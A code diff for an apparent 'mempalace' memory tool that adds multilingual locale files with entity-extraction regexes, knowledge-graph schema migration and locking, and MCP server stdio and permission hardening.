"direct_address_pattern": "\\bhai\\s+{name}\\b|\\bhalo\\s+{name}\\b|\\bhi\\s+{name}\\b|\\bhei\\s+{name}\\b|\\bterima\\s+kasih\\s+{name}\\b|\\bmakasih\\s+{name}\\b|\\bmakasi\\s+{name}\\b|\\bpak\\s+{name}\\b|\\bbu\\s+{name}\\b|\\bmas\\s+{name}\\b|\\bmbak\\s+{name}\\b|\\bkak\\s+{name}\\b",
"project_verb_patterns": [
"\\bmembangun\\s+{name}\\b",
"\\bbangun\\s+{name}\\b",
"\\bdibangun\\s+{name}\\b",
"\\bngembangin\\s+{name}\\b",
"\\bmengerjakan\\s+{name}\\b",
"\\bngerjain\\s+{name}\\b",
"\\bgarap\\s+{name}\\b",
"\\bbuild(?:ing)?\\s+{name}\\b",
"\\bnge-?build\\s+{name}\\b",
"\\bmerilis\\s+{name}\\b",
"\\brilis\\s+{name}\\b",
"\\bship(?:ping|ped)?\\s+{name}\\b",
"\\bmeluncurkan\\s+{name}\\b",
"\\blaunch(?:ing|ed)?\\s+{name}\\b",
"\\bdeploy(?:ing|ed)?\\s+{name}\\b",
"\\bdideploy\\s+{name}\\b",
"\\bmendeploy\\s+{name}\\b",
"\\bnge-?deploy\\s+{name}\\b",
"\\binstall(?:ing|ed)?\\s+{name}\\b",
"\\bmenginstal\\s+{name}\\b",
"\\bmemasang\\s+{name}\\b",
"\\bpush\\s+{name}\\b",
"\\bnge-?push\\s+{name}\\b",
"\\breview(?:ing|ed)?\\s+{name}\\b",
"\\barsitektur\\s+{name}\\b",
"\\bpipeline\\s+{name}\\b",
"\\b{name}\\s+v\\d+\\b",
"\\b{name}\\.py\\b",
"\\b{name}-core\\b",
"\\b{name}-local\\b",
"\\bimport\\s+{name}\\b",
"\\bpip\\s+install\\s+{name}\\b"
],
"stopwords": [
"yang",
"dan",
"atau",
"tetapi",
"namun",
"karena",
"jadi",
"kalau",
"jika",
"ketika",
"saat",
"supaya",
"agar",
"untuk",
"dari",
"ke",
"di",
"pada",
"dalam",
"dengan",
"tanpa",
"antara",
"tentang",
"sebagai",
"oleh",
"terhadap",
"ini",
"itu",
"tersebut",
"sini",
"situ",
"sana",
"saya",
"aku",
"kami",
"kita",
"kamu",
"anda",
"dia",
"ia",
"beliau",
"mereka",
"ada",
"tidak",
"bukan",
"iya",
"ya",
"oke",
"ok",
"baik",
"nah",
"nih",
"dong",
"deh",
"kok",
"sih",
"aja",
"juga",
"lagi",
"sudah",
"udah",
"belum",
"masih",
"baru",
"pernah",
"selalu",
"sering",
"jarang",
"banyak",
"sedikit",
"lebih",
"kurang",
"semua",
"setiap",
"beberapa",
"sesuatu",
"apa",
"siapa",
"mana",
"kapan",
"mengapa",
"kenapa",
"bagaimana",
"bisa",
"harus",
"mau",
"ingin",
"tahu",
"coba",
"pak",
"bu",
"mas",
"mbak",
"kak"
]
}
}
+186
View File
@@ -0,0 +1,186 @@
{
"lang": "it",
"label": "Italiano",
"terms": {
"palace": "palazzo",
"wing": "ala",
"hall": "corridoio",
"closet": "armadio",
"drawer": "cassetto",
"mine": "estrarre",
"search": "cercare",
"status": "stato",
"init": "inizializzare",
"repair": "riparare",
"migrate": "migrare",
"entity": "entità",
"topic": "argomento"
},
"cli": {
"mine_start": "Estrazione di {path}...",
"mine_complete": "Fatto. {closets} armadi, {drawers} cassetti creati.",
"mine_skip": "Già estratto. Usa --force per estrarre di nuovo.",
"search_no_results": "Nessun risultato per: {query}",
"search_results": "{count} risultati trovati:",
"status_palace": "Palazzo: {path}",
"status_wings": "{count} ali",
"status_closets": "{count} armadi",
"status_drawers": "{count} cassetti",
"init_complete": "Palazzo inizializzato in {path}",
"init_exists": "Esiste già un palazzo in {path}",
"repair_complete": "Riparazione completata. {fixed} problemi risolti.",
"migrate_complete": "Migrazione completata.",
"no_palace": "Nessun palazzo trovato. Esegui: mempalace init <cartella>"
},
"aaak": {
"instruction": "Comprimi in italiano. Trattini tra le parole, pipe tra i concetti. Elimina articoli e parole di riempimento. Mantieni nomi propri e numeri esatti."
},
"regex": {
"topic_pattern": "[A-ZÀ-Ú][a-zà-ú]{2,}|[A-Za-zÀ-ÿ][A-Za-zÀ-ÿ0-9_]{2,}",
"stop_words": "il lo la i gli le un uno una di del della dello dei degli delle al allo alla ai agli alle in con su per tra fra da dal dalla dallo dai dagli dalle e o ma che chi cui come dove quando perché mentre anche ancora già molto poco solo sempre mai essere avere sono sei siamo siete era erano stato stata questo questa questi queste quello quella quelli quelle mio mia miei mie tuo tua tuoi tue suo sua suoi sue nostro nostra nostri nostre vostro vostra vostri vostre loro",
"quote_pattern": "«\\s*([^»]{10,200})\\s*»|\"([^\"]{10,200})\"",
"action_pattern": "(?:costruito|corretto|scritto|aggiunto|inviato|misurato|testato|revisionato|creato|eliminato|aggiornato|configurato|distribuito|migrato)\\s+[\\wÀ-ÿ\\s]{3,30}"
},
"entity": {
"candidate_pattern": "[A-ZÀ-Ú][a-zà-ÿ]{1,19}",
"multi_word_pattern": "[A-ZÀ-Ú][a-zà-ÿ]+(?:\\s+[A-ZÀ-Ú][a-zà-ÿ]+)+",
"person_verb_patterns": [
"\\b{name}\\s+ha\\s+detto\\b",
"\\b{name}\\s+ha\\s+chiesto\\b",
"\\b{name}\\s+ha\\s+risposto\\b",
"\\b{name}\\s+ha\\s+riferito\\b",
"\\b{name}\\s+ha\\s+riso\\b",
"\\b{name}\\s+ha\\s+sorriso\\b",
"\\b{name}\\s+ha\\s+pianto\\b",
"\\b{name}\\s+ha\\s+sentito\\b",
"\\b{name}\\s+pensa\\b",
"\\b{name}\\s+vuole\\b",
"\\b{name}\\s+ama\\b",
"\\b{name}\\s+odia\\b",
"\\b{name}\\s+sa\\b",
"\\b{name}\\s+ha\\s+deciso\\b",
"\\b{name}\\s+ha\\s+scritto\\b"
],
"pronoun_patterns": [
"\\blei\\b",
"\\blui\\b",
"\\bloro\\b",
"\\bgli\\b",
"\\ble\\b"
],
"dialogue_patterns": [
"^>\\s*{name}[:\\s]",
"^{name}:\\s",
"^\\[{name}\\]",
"\"{name}\\s+ha\\s+detto"
],
"direct_address_pattern": "\\bciao\\s+{name}\\b|\\bgrazie\\s+{name}\\b|\\bsalve\\s+{name}\\b|\\bcaro\\s+{name}\\b|\\bcara\\s+{name}\\b",
"project_verb_patterns": [
"\\bstiamo\\s+costruendo\\s+{name}\\b",
"\\babbiamo\\s+costruito\\s+{name}\\b",
"\\bstiamo\\s+lanciando\\s+{name}\\b",
"\\babbiamo\\s+lanciato\\s+{name}\\b",
"\\babbiamo\\s+distribuito\\s+{name}\\b",
"\\babbiamo\\s+installato\\s+{name}\\b",
"\\bil\\s+progetto\\s+{name}\\b",
"\\bil\\s+sistema\\s+{name}\\b",
"\\bimport\\s+{name}\\b",
"\\bpip\\s+install\\s+{name}\\b"
],
"stopwords": [
"ciao",
"salve",
"grazie",
"prego",
"sì",
"si",
"no",
"forse",
"qui",
"qua",
"lì",
"oggi",
"ieri",
"domani",
"sempre",
"mai",
"ancora",
"anche",
"molto",
"poco",
"bene",
"male",
"così",
"poi",
"prima",
"dopo",
"tra",
"fra",
"con",
"senza",
"per",
"verso",
"contro",
"durante",
"mentre",
"sopra",
"sotto",
"oltre",
"oppure",
"ma",
"però",
"tuttavia",
"anche",
"se",
"quando",
"finché",
"perché",
"quindi",
"dunque",
"allora",
"forse",
"magari",
"abbiamo",
"stiamo",
"essere",
"avere",
"sono",
"sei",
"siamo",
"siete",
"era",
"erano",
"stato",
"stata",
"questo",
"questa",
"questi",
"queste",
"quello",
"quella",
"quelli",
"quelle",
"mio",
"mia",
"miei",
"mie",
"tuo",
"tua",
"tuoi",
"tue",
"suo",
"sua",
"suoi",
"sue",
"nostro",
"nostra",
"nostri",
"nostre",
"vostro",
"vostra",
"vostri",
"vostre",
"loro"
]
}
}
+1 -1
View File
@@ -25,7 +25,7 @@
"status_palace": "궁전: {path}",
"status_wings": "날개 {count}개",
"status_closets": "벽장 {count}개",
"status_drawers": "서랍 {drawers}개",
"status_drawers": "서랍 {count}개",
"init_complete": "{path}에 궁전 초기화 완료",
"init_exists": "{path}에 궁전이 이미 존재합니다",
"repair_complete": "수리 완료. {fixed}개 문제 해결.",
+173
View File
@@ -0,0 +1,173 @@
{
"lang": "pt-br",
"label": "Português (Brasil)",
"terms": {
"palace": "palácio",
"wing": "ala",
"hall": "corredor",
"closet": "armário",
"drawer": "gaveta",
"mine": "minerar",
"search": "buscar",
"status": "status",
"init": "inicializar",
"repair": "reparar",
"migrate": "migrar",
"entity": "entidade",
"topic": "tópico"
},
"cli": {
"mine_start": "Minerando {path}...",
"mine_complete": "Pronto. {closets} armários, {drawers} gavetas criados.",
"mine_skip": "Já minerado. Use --force para refazer.",
"search_no_results": "Sem resultados para: {query}",
"search_results": "{count} resultados encontrados:",
"status_palace": "Palácio: {path}",
"status_wings": "{count} alas",
"status_closets": "{count} armários",
"status_drawers": "{count} gavetas",
"init_complete": "Palácio inicializado em {path}",
"init_exists": "Já existe um palácio em {path}",
"repair_complete": "Reparo completo. {fixed} problemas corrigidos.",
"migrate_complete": "Migração completa.",
"no_palace": "Nenhum palácio encontrado. Execute: mempalace init <diretório>"
},
"aaak": {
"instruction": "Comprima em português. Hifens entre palavras, pipes entre conceitos. Remova artigos e palavras de preenchimento. Mantenha nomes próprios e números exatos."
},
"regex": {
"topic_pattern": "[A-ZÀ-Ú][a-zà-ÿ]{2,}|[A-Za-zÀ-ÿ]{3,}",
"stop_words": "o a os as um uma uns umas de do da dos das em no na nos nas por para com sem sobre entre ao aos seu sua seus suas meu minha meus minhas tu teu tua que quem qual onde quando porque embora mas porém também muito mais como este esta estes estas esse essa esses essas aquele aquela é são está estão foi ser estar ter sido",
"quote_pattern": "\"([^\"]{10,200})\"|«([^»]{10,200})»",
"action_pattern": "(?:construído|corrigido|escrito|adicionado|enviado|medido|testado|revisado|criado|excluído|atualizado|configurado|implantado|migrado)\\s+[\\wà-ÿ\\s]{3,30}"
},
"entity": {
"candidate_pattern": "[A-ZÀ-Ú][a-zà-ÿ]{1,19}",
"multi_word_pattern": "[A-ZÀ-Ú][a-zà-ÿ]+(?:\\s+[A-ZÀ-Ú][a-zà-ÿ]+)+",
"person_verb_patterns": [
"\\b{name}\\s+disse\\b",
"\\b{name}\\s+perguntou\\b",
"\\b{name}\\s+respondeu\\b",
"\\b{name}\\s+contou\\b",
"\\b{name}\\s+riu\\b",
"\\b{name}\\s+sorriu\\b",
"\\b{name}\\s+chorou\\b",
"\\b{name}\\s+sentiu\\b",
"\\b{name}\\s+pensa\\b",
"\\b{name}\\s+quer\\b",
"\\b{name}\\s+ama\\b",
"\\b{name}\\s+odeia\\b",
"\\b{name}\\s+sabe\\b",
"\\b{name}\\s+decidiu\\b",
"\\b{name}\\s+escreveu\\b"
],
"pronoun_patterns": [
"\\bela\\b",
"\\bdela\\b",
"\\bele\\b",
"\\bdele\\b",
"\\beles\\b",
"\\belas\\b",
"\\bdeles\\b",
"\\bdelas\\b",
"\\bvocê\\b",
"\\bvocês\\b",
"\\bseu\\b",
"\\bsua\\b",
"\\bseus\\b",
"\\bsuas\\b"
],
"dialogue_patterns": [
"^>\\s*{name}[:\\s]",
"^{name}:\\s",
"^\\[{name}\\]",
"\"{name}\\s+disse"
],
"direct_address_pattern": "\\boi\\s+{name}\\b|\\bol[áa]\\s+{name}\\b|\\bobrigad[oa]\\s+{name}\\b|\\bcaro\\s+{name}\\b|\\bcara\\s+{name}\\b",
"project_verb_patterns": [
"\\bconstruindo\\s+{name}\\b",
"\\bconstruiu\\s+{name}\\b",
"\\blançando\\s+{name}\\b",
"\\blançou\\s+{name}\\b",
"\\bimplantando\\s+{name}\\b",
"\\bimplantou\\s+{name}\\b",
"\\binstalando\\s+{name}\\b",
"\\binstalou\\s+{name}\\b",
"\\bo\\s+sistema\\s+{name}\\b",
"\\bo\\s+projeto\\s+{name}\\b",
"\\bimport\\s+{name}\\b",
"\\bpip\\s+install\\s+{name}\\b"
],
"stopwords": [
"oi",
"ola",
"olá",
"obrigado",
"obrigada",
"sim",
"não",
"talvez",
"aqui",
"ali",
"lá",
"agora",
"hoje",
"ontem",
"amanhã",
"sempre",
"nunca",
"ainda",
"também",
"muito",
"pouco",
"bem",
"mal",
"assim",
"então",
"depois",
"antes",
"durante",
"sobre",
"entre",
"para",
"como",
"mas",
"porém",
"contudo",
"embora",
"enquanto",
"porque",
"portanto",
"logo",
"todavia",
"desde",
"contra",
"perante",
"após",
"mediante",
"conforme",
"segundo",
"exceto",
"pois",
"apenas",
"mais",
"menos",
"cada",
"todo",
"toda",
"todos",
"todas",
"tudo",
"nada",
"algo",
"onde",
"quando",
"qual",
"quem",
"isso",
"isto",
"ser",
"ter"
]
}
}
+161
View File
@@ -0,0 +1,161 @@
{
"lang": "ru",
"label": "Русский",
"terms": {
"palace": "дворец",
"wing": "крыло",
"hall": "зал",
"closet": "шкаф",
"drawer": "ящик",
"mine": "раскопка",
"search": "поиск",
"status": "статус",
"init": "создание",
"repair": "починка",
"migrate": "миграция",
"entity": "сущность",
"topic": "тема"
},
"cli": {
"mine_start": "Раскопка {path}...",
"mine_complete": "Готово. Шкафов: {closets}, ящиков: {drawers}.",
"mine_skip": "Уже обработано. Используйте --force для повторной обработки.",
"search_no_results": "Нет результатов по запросу: {query}",
"search_results": "Найдено результатов: {count}",
"status_palace": "Дворец: {path}",
"status_wings": "Крыльев: {count}",
"status_closets": "Шкафов: {count}",
"status_drawers": "Ящиков: {count}",
"init_complete": "Дворец создан в {path}",
"init_exists": "Дворец уже существует в {path}",
"repair_complete": "Починка завершена. Исправлено проблем: {fixed}.",
"migrate_complete": "Миграция завершена.",
"no_palace": "Дворец не найден. Выполните: mempalace init <директория>"
},
"aaak": {
"instruction": "Сжать до индексного формата. Дефисы между словами, вертикальные черты между понятиями. Убрать предлоги и служебные слова. Имена и числа сохранять точно."
},
"regex": {
"topic_pattern": "[А-ЯЁ][а-яё]{2,}|[A-Z][a-z]{2,}|[A-Za-z][A-Za-z0-9_]{2,}",
"stop_words": "это этот эта эти тот та те тех некоторые много каждый другой только такой очень будет может должен надо хорошо также даже потом сейчас уже ещё обратно сделано делать брать давать знать думать хотеть нужно если когда просто правда ладно вообще конечно например значит кстати наверное видимо похоже получается собственно кажется",
"quote_pattern": "«\\s*([^»]{10,200})\\s*»|\"([^\"]{10,200})\"",
"action_pattern": "(?:построил|исправил|написал|добавил|запустил|протестировал|проверил|создал|удалил|обновил|настроил|развернул|перенёс|собрал)\\s+[\\wа-яёА-ЯЁ\\s]{3,30}"
},
"entity": {
"candidate_pattern": "[А-ЯЁ][а-яё]{1,19}",
"multi_word_pattern": "[А-ЯЁ][а-яё]+(?:\\s+[А-ЯЁ][а-яё]+)+",
"person_verb_patterns": [
"\\b{name}\\s+сказал[аи]?\\b",
"\\b{name}\\s+спросил[аи]?\\b",
"\\b{name}\\s+ответил[аи]?\\b",
"\\b{name}\\s+рассказал[аи]?\\b",
"\\b{name}\\s+засмеял(ся|ась|ись)\\b",
"\\b{name}\\s+улыбнул(ся|ась|ись)\\b",
"\\b{name}\\s+заплакал[аи]?\\b",
"\\b{name}\\s+почувствовал[аи]?\\b",
"\\b{name}\\s+думает\\b",
"\\b{name}\\s+хочет\\b",
"\\b{name}\\s+любит\\b",
"\\b{name}\\s+ненавидит\\b",
"\\b{name}\\s+знает\\b",
"\\b{name}\\s+решил[аи]?\\b",
"\\b{name}\\s+написал[аи]?\\b"
],
"pronoun_patterns": [
"\\bона\\b",
"\\bеё\\b",
"\\bей\\b",
"\\bон\\b",
"\\bего\\b",
"\\bему\\b",
"\\bони\\b",
"\\bих\\b",
"\\bим\\b"
],
"dialogue_patterns": [
"^>\\s*{name}[:\\s]",
"^{name}:\\s",
"^\\[{name}\\]",
"\"{name}\\s+сказал"
],
"direct_address_pattern": "\\bпривет\\s+{name}\\b|\\bспасибо\\s+{name}\\b|\\bздравствуй(те)?\\s+{name}\\b|\\bуважаемый\\s+{name}\\b|\\bуважаемая\\s+{name}\\b|\\bдорогой\\s+{name}\\b|\\bдорогая\\s+{name}\\b",
"project_verb_patterns": [
"\\bсобираю\\s+{name}\\b",
"\\bсобрал\\s+{name}\\b",
"\\bзапускаю\\s+{name}\\b",
"\\bзапустил\\s+{name}\\b",
"\\bразвернул\\s+{name}\\b",
"\\bустановил\\s+{name}\\b",
"\\bсистема\\s+{name}\\b",
"\\bпроект\\s+{name}\\b",
"\\bimport\\s+{name}\\b",
"\\bpip\\s+install\\s+{name}\\b"
],
"stopwords": [
"привет",
"здравствуйте",
"спасибо",
"пожалуйста",
"да",
"нет",
"может",
"наверное",
"здесь",
"там",
"тут",
"сейчас",
"сегодня",
"вчера",
"завтра",
"всегда",
"никогда",
"ещё",
"тоже",
"очень",
"мало",
"хорошо",
"плохо",
"так",
"потом",
"перед",
"после",
"между",
"около",
"вместе",
"без",
"для",
"над",
"под",
"при",
"про",
"через",
"против",
"вместо",
"кроме",
"среди",
"вокруг",
"вдоль",
"ради",
"напротив",
"благодаря",
"согласно",
"навстречу",
"или",
"либо",
"но",
"однако",
"зато",
"хотя",
"если",
"когда",
"пока",
"чтобы",
"потому",
"поэтому",
"причём",
"притом",
"будто",
"словно"
]
}
}
+1 -1
View File
@@ -25,4 +25,4 @@ def run_instructions(name: str):
print(f"Instructions file not found: {md_path}", file=sys.stderr)
sys.exit(1)
print(md_path.read_text())
print(md_path.read_text(encoding="utf-8"))
+95 -55
View File
@@ -50,7 +50,12 @@ DEFAULT_KG_PATH = os.path.expanduser("~/.mempalace/knowledge_graph.sqlite3")
class KnowledgeGraph:
def __init__(self, db_path: str = None):
self.db_path = db_path or DEFAULT_KG_PATH
Path(self.db_path).parent.mkdir(parents=True, exist_ok=True)
db_parent = Path(self.db_path).parent
db_parent.mkdir(parents=True, exist_ok=True)
try:
db_parent.chmod(0o700)
except (OSError, NotImplementedError):
pass
self._connection = None
self._lock = threading.Lock()
self._init_db()
@@ -78,6 +83,8 @@ class KnowledgeGraph:
confidence REAL DEFAULT 1.0,
source_closet TEXT,
source_file TEXT,
source_drawer_id TEXT,
adapter_name TEXT,
extracted_at TEXT DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (subject) REFERENCES entities(id),
FOREIGN KEY (object) REFERENCES entities(id)
@@ -88,8 +95,25 @@ class KnowledgeGraph:
CREATE INDEX IF NOT EXISTS idx_triples_predicate ON triples(predicate);
CREATE INDEX IF NOT EXISTS idx_triples_valid ON triples(valid_from, valid_to);
""")
self._migrate_schema(conn)
conn.commit()
def _migrate_schema(self, conn):
"""Backwards-compatible schema migration for older triples tables.
Fresh palaces get ``source_drawer_id`` / ``adapter_name`` (RFC 002 §5.5)
directly from the canonical ``CREATE TABLE`` above, so this path is a
no-op on new installs. It exists for palaces that were created before
those columns were added: SQLite has no ``ADD COLUMN IF NOT EXISTS``,
so we introspect the schema and only issue the ALTER when the column
is missing.
"""
existing = {row["name"] for row in conn.execute("PRAGMA table_info(triples)")}
if "source_drawer_id" not in existing:
conn.execute("ALTER TABLE triples ADD COLUMN source_drawer_id TEXT")
if "adapter_name" not in existing:
conn.execute("ALTER TABLE triples ADD COLUMN adapter_name TEXT")
def _conn(self):
if self._connection is None:
self._connection = sqlite3.connect(self.db_path, timeout=10, check_same_thread=False)
@@ -99,9 +123,10 @@ class KnowledgeGraph:
def close(self):
"""Close the database connection."""
if self._connection is not None:
self._connection.close()
self._connection = None
with self._lock:
if self._connection is not None:
self._connection.close()
self._connection = None
def _entity_id(self, name: str) -> str:
return name.lower().replace(" ", "_").replace("'", "")
@@ -131,10 +156,16 @@ class KnowledgeGraph:
confidence: float = 1.0,
source_closet: str = None,
source_file: str = None,
source_drawer_id: str = None,
adapter_name: str = None,
):
"""
Add a relationship triple: subject → predicate → object.
``source_drawer_id`` and ``adapter_name`` are RFC 002 §5.5 provenance
fields populated by adapters that advertise ``supports_kg_triples``;
they default to ``None`` so every existing caller stays source-compatible.
Examples:
add_triple("Max", "child_of", "Alice", valid_from="2015-04-01")
add_triple("Max", "does", "swimming", valid_from="2025-01-01")
@@ -167,8 +198,12 @@ class KnowledgeGraph:
triple_id = f"t_{sub_id}_{pred}_{obj_id}_{hashlib.sha256(f'{valid_from}{datetime.now().isoformat()}'.encode()).hexdigest()[:12]}"
conn.execute(
"""INSERT INTO triples (id, subject, predicate, object, valid_from, valid_to, confidence, source_closet, source_file)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)""",
"""INSERT INTO triples (
id, subject, predicate, object,
valid_from, valid_to, confidence,
source_closet, source_file,
source_drawer_id, adapter_name
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""",
(
triple_id,
sub_id,
@@ -179,6 +214,8 @@ class KnowledgeGraph:
confidence,
source_closet,
source_file,
source_drawer_id,
adapter_name,
),
)
return triple_id
@@ -260,7 +297,6 @@ class KnowledgeGraph:
def query_relationship(self, predicate: str, as_of: str = None):
"""Get all triples with a given relationship type."""
pred = predicate.lower().replace(" ", "_")
conn = self._conn()
query = """
SELECT t.*, s.name as sub_name, o.name as obj_name
FROM triples t
@@ -274,45 +310,48 @@ class KnowledgeGraph:
params.extend([as_of, as_of])
results = []
for row in conn.execute(query, params).fetchall():
results.append(
{
"subject": row["sub_name"],
"predicate": pred,
"object": row["obj_name"],
"valid_from": row["valid_from"],
"valid_to": row["valid_to"],
"current": row["valid_to"] is None,
}
)
with self._lock:
conn = self._conn()
for row in conn.execute(query, params).fetchall():
results.append(
{
"subject": row["sub_name"],
"predicate": pred,
"object": row["obj_name"],
"valid_from": row["valid_from"],
"valid_to": row["valid_to"],
"current": row["valid_to"] is None,
}
)
return results
def timeline(self, entity_name: str = None):
"""Get all facts in chronological order, optionally filtered by entity."""
conn = self._conn()
if entity_name:
eid = self._entity_id(entity_name)
rows = conn.execute(
"""
SELECT t.*, s.name as sub_name, o.name as obj_name
FROM triples t
JOIN entities s ON t.subject = s.id
JOIN entities o ON t.object = o.id
WHERE (t.subject = ? OR t.object = ?)
ORDER BY t.valid_from ASC NULLS LAST
LIMIT 100
""",
(eid, eid),
).fetchall()
else:
rows = conn.execute("""
SELECT t.*, s.name as sub_name, o.name as obj_name
FROM triples t
JOIN entities s ON t.subject = s.id
JOIN entities o ON t.object = o.id
ORDER BY t.valid_from ASC NULLS LAST
LIMIT 100
""").fetchall()
with self._lock:
conn = self._conn()
if entity_name:
eid = self._entity_id(entity_name)
rows = conn.execute(
"""
SELECT t.*, s.name as sub_name, o.name as obj_name
FROM triples t
JOIN entities s ON t.subject = s.id
JOIN entities o ON t.object = o.id
WHERE (t.subject = ? OR t.object = ?)
ORDER BY t.valid_from ASC NULLS LAST
LIMIT 100
""",
(eid, eid),
).fetchall()
else:
rows = conn.execute("""
SELECT t.*, s.name as sub_name, o.name as obj_name
FROM triples t
JOIN entities s ON t.subject = s.id
JOIN entities o ON t.object = o.id
ORDER BY t.valid_from ASC NULLS LAST
LIMIT 100
""").fetchall()
return [
{
@@ -329,19 +368,20 @@ class KnowledgeGraph:
# ── Stats ─────────────────────────────────────────────────────────────
def stats(self):
conn = self._conn()
entities = conn.execute("SELECT COUNT(*) as cnt FROM entities").fetchone()["cnt"]
triples = conn.execute("SELECT COUNT(*) as cnt FROM triples").fetchone()["cnt"]
current = conn.execute(
"SELECT COUNT(*) as cnt FROM triples WHERE valid_to IS NULL"
).fetchone()["cnt"]
expired = triples - current
predicates = [
r["predicate"]
for r in conn.execute(
"SELECT DISTINCT predicate FROM triples ORDER BY predicate"
).fetchall()
]
with self._lock:
conn = self._conn()
entities = conn.execute("SELECT COUNT(*) as cnt FROM entities").fetchone()["cnt"]
triples = conn.execute("SELECT COUNT(*) as cnt FROM triples").fetchone()["cnt"]
current = conn.execute(
"SELECT COUNT(*) as cnt FROM triples WHERE valid_to IS NULL"
).fetchone()["cnt"]
expired = triples - current
predicates = [
r["predicate"]
for r in conn.execute(
"SELECT DISTINCT predicate FROM triples ORDER BY predicate"
).fetchall()
]
return {
"entities": entities,
"triples": triples,
+16 -7
View File
@@ -23,7 +23,7 @@ from collections import defaultdict
from .config import MempalaceConfig
from .palace import get_collection as _get_collection
from .searcher import build_where_filter
from .searcher import _first_or_empty, build_where_filter
# ---------------------------------------------------------------------------
@@ -272,15 +272,17 @@ class Layer3:
except Exception as e:
return f"Search error: {e}"
docs = results["documents"][0]
metas = results["metadatas"][0]
dists = results["distances"][0]
docs = _first_or_empty(results, "documents")
metas = _first_or_empty(results, "metadatas")
dists = _first_or_empty(results, "distances")
if not docs:
return "No results found."
lines = [f'## L3 — SEARCH RESULTS for "{query}"']
for i, (doc, meta, dist) in enumerate(zip(docs, metas, dists), 1):
meta = meta or {}
doc = doc or ""
similarity = round(1 - dist, 3)
wing_name = meta.get("wing", "?")
room_name = meta.get("room", "?")
@@ -323,10 +325,17 @@ class Layer3:
hits = []
for doc, meta, dist in zip(
results["documents"][0],
results["metadatas"][0],
results["distances"][0],
_first_or_empty(results, "documents"),
_first_or_empty(results, "metadatas"),
_first_or_empty(results, "distances"),
):
# ChromaDB may return None for doc/meta when a drawer's HNSW entry
# exists but its metadata/document rows haven't been materialized
# (partial-flush states, mid-delete, schema upgrade boundaries).
# Degrade gracefully — the hit still appears with real distance;
# storage fields show their fallback where content is missing.
meta = meta or {}
doc = doc or ""
hits.append(
{
"text": doc,
+213 -34
View File
@@ -20,24 +20,57 @@ Tools (maintenance):
mempalace_reconnect — force cache invalidation and reconnect after external writes
"""
import argparse
import os
import sys
import json
import logging
import hashlib
import time
from datetime import datetime
from pathlib import Path
from .config import MempalaceConfig, sanitize_name, sanitize_content
from .version import __version__
import chromadb
from .query_sanitizer import sanitize_query
from .searcher import search_memories
from .palace_graph import traverse, find_tunnels, graph_stats
# --- MCP stdio protection (issue #225) -----------------------------------
# The MCP protocol multiplexes JSON-RPC over stdio: stdout MUST carry only
# valid JSON-RPC messages, stderr is for human-readable logs. Some
# transitive dependencies (chromadb → onnxruntime, posthog telemetry) print
# banners and error messages directly to stdout — sometimes at C level —
# which breaks Claude Desktop's JSON parser. Redirect stdout → stderr at
# both the Python and file-descriptor level before heavy imports, then
# restore the real stdout in main() before entering the protocol loop.
_REAL_STDOUT = sys.stdout
_REAL_STDOUT_FD = None
try:
_REAL_STDOUT_FD = os.dup(1)
os.dup2(2, 1)
except (OSError, AttributeError):
# Environments without fd-level stdio (embedded interpreters, some test
# harnesses). The Python-level redirect below still applies.
pass
sys.stdout = sys.stderr
from .knowledge_graph import KnowledgeGraph
import argparse # noqa: E402 (deferred until after stdio protection above)
import json # noqa: E402
import logging # noqa: E402
import hashlib # noqa: E402
import time # noqa: E402
from datetime import datetime # noqa: E402
from pathlib import Path # noqa: E402
from .config import ( # noqa: E402
MempalaceConfig,
sanitize_kg_value,
sanitize_name,
sanitize_content,
)
from .version import __version__ # noqa: E402
from .backends.chroma import ChromaBackend, ChromaCollection # noqa: E402
from .query_sanitizer import sanitize_query # noqa: E402
from .searcher import search_memories # noqa: E402
from .palace_graph import ( # noqa: E402
traverse,
find_tunnels,
graph_stats,
create_tunnel,
list_tunnels,
delete_tunnel,
follow_tunnels,
)
from .knowledge_graph import KnowledgeGraph # noqa: E402
logging.basicConfig(level=logging.INFO, format="%(message)s", stream=sys.stderr)
logger = logging.getLogger("mempalace_mcp")
@@ -88,14 +121,14 @@ try:
except (OSError, NotImplementedError):
pass
_WAL_FILE = _WAL_DIR / "write_log.jsonl"
# Pre-create WAL file with restricted permissions to avoid race condition
if not _WAL_FILE.exists():
_WAL_FILE.touch(mode=0o600)
else:
try:
_WAL_FILE.chmod(0o600)
except (OSError, NotImplementedError):
pass
# Atomically create WAL file with restricted permissions (no TOCTOU race).
# os.open with O_CREAT|O_WRONLY and mode 0o600 creates the file if absent
# or opens it if present, both in a single syscall.
try:
_fd = os.open(str(_WAL_FILE), os.O_CREAT | os.O_WRONLY, 0o600)
os.close(_fd)
except (OSError, NotImplementedError):
pass
# Keys whose values should be redacted in WAL entries to avoid logging sensitive content
_WAL_REDACT_KEYS = frozenset(
@@ -169,7 +202,7 @@ def _get_client():
mtime_changed = current_mtime != 0.0 and abs(current_mtime - _palace_db_mtime) > 0.01
if _client_cache is None or inode_changed or mtime_changed:
_client_cache = chromadb.PersistentClient(path=_config.palace_path)
_client_cache = ChromaBackend.make_client(_config.palace_path)
_collection_cache = None
_metadata_cache = None
_metadata_cache_time = 0
@@ -184,13 +217,15 @@ def _get_collection(create=False):
try:
client = _get_client()
if create:
_collection_cache = client.get_or_create_collection(
_config.collection_name, metadata={"hnsw:space": "cosine"}
_collection_cache = ChromaCollection(
client.get_or_create_collection(
_config.collection_name, metadata={"hnsw:space": "cosine"}
)
)
_metadata_cache = None
_metadata_cache_time = 0
elif _collection_cache is None:
_collection_cache = client.get_collection(_config.collection_name)
_collection_cache = ChromaCollection(client.get_collection(_config.collection_name))
_metadata_cache = None
_metadata_cache_time = 0
return _collection_cache
@@ -259,7 +294,11 @@ def _sanitize_optional_name(value: str = None, field_name: str = "name") -> str:
def tool_status():
col = _get_collection()
# Use create=True only when a palace DB already exists on disk -- this
# bootstraps the ChromaDB collection on a valid-but-empty palace without
# accidentally creating a palace in a non-existent directory (#830).
db_exists = os.path.isfile(os.path.join(_config.palace_path, "chroma.sqlite3"))
col = _get_collection(create=db_exists)
if not col:
return _no_palace()
count = col.count()
@@ -276,6 +315,7 @@ def tool_status():
try:
all_meta = _get_cached_metadata(col)
for m in all_meta:
m = m or {}
w = m.get("wing", "unknown")
r = m.get("room", "unknown")
wings[w] = wings.get(w, 0) + 1
@@ -329,6 +369,7 @@ def tool_list_wings():
try:
all_meta = _get_cached_metadata(col)
for m in all_meta:
m = m or {}
